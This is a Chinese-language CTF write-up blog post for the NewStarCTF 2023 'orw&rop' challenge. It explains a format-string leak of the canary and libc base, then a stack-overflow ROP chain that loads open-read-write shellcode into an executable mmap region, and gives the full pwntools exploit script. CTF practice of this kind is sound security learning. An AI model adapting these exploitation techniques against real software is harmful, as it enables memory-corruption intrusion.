NewStarCTF 2023 公开赛道 orw&rop

题目地址

沙箱题,知识禁用了execve,所以使用orw即可

思路

  • 程序mmap了一段地址,权限是7,也就是可读可写可执行,我们把orw布置到这里就行啦,然后控制程序执行流(也就是rip指针)到这里就行啦。

  • 第一次输入,有格式化字符串漏洞,利用他来泄露libc基址(通过libc_start_main),和canary,方便后面利用栈溢出漏洞

  • 第二次输入存在栈溢出漏洞,我们需要把orw的shellcode写进mmap的地址,那么我们就需要一个read函数,read(0,target_addr,0x1000)。所以栈溢出就是去执行我们写的read函数,把读orw写进target addr

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")

# io=remote('node5.buuoj.cn',27743)
io = process("./pwn")

elf=ELF("./pwn")
libc=ELF('/ctf/tools/libc.so.6')

sla = lambda x,y : io.sendlineafter(x,y)
sa  = lambda x,y : io.sendafter(x,y)
sl  = lambda x   : io.sendline(x)
sd  = lambda x   : io.send(x)
gd  = lambda     : gdb.attach(io)
inter = lambda   : io.interactive()

def get_addr() :
    return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  

def pwn():
    pause()
    
    # 泄露libc基址和canary
    sla(b"sandbox",b"aa%11$pbb%33$p")
    io.recvuntil(b"aa")
    canary = int(io.recv(18),16)
    print("canary ----> "+hex(canary))
    io.recvuntil(b"bb")
    libc_start_main = int(io.recv(14),16) - 128
    print("libc_start_main+128 -----> "+hex(libc_start_main + 128))
    libc_base = libc_start_main - libc.sym["__libc_start_main"]

    pop_rdi = 0x000000000002a3e5 + libc_base
    pop_rsi = 0x000000000002be51 + libc_base
    pop_rdx_r12 = 0x000000000011f497 + libc_base
    read = libc_base + libc.sym["read"]
    addr = 0x66660000
    len = 0x1000
    
	# 栈溢出payload
    payload = b"a"*(0x30-8) + p64(canary) + b"a"*8
    payload += p64(pop_rdi) + p64(0)
    payload += p64(pop_rsi) + p64(addr)
    payload += p64(pop_rdx_r12) + p64(len) + p64(0)
    payload += p64(read) + p64(addr)
    pause()
    sla(b"now",payload)

    # orw shellcode
    shellcode = shellcraft.open("flag")
    shellcode += shellcraft.read(3,addr+0x500,0x100)
    shellcode += shellcraft.write(1,addr+0x500,0x100)
    shellcode = asm(shellcode)
    pause()
    sl(shellcode)
    inter()

pwn()

欢迎不懂的师傅来找我讨论

posted @ 2024-04-12 15:32  _Ya0  阅读(74)  评论(0)    收藏  举报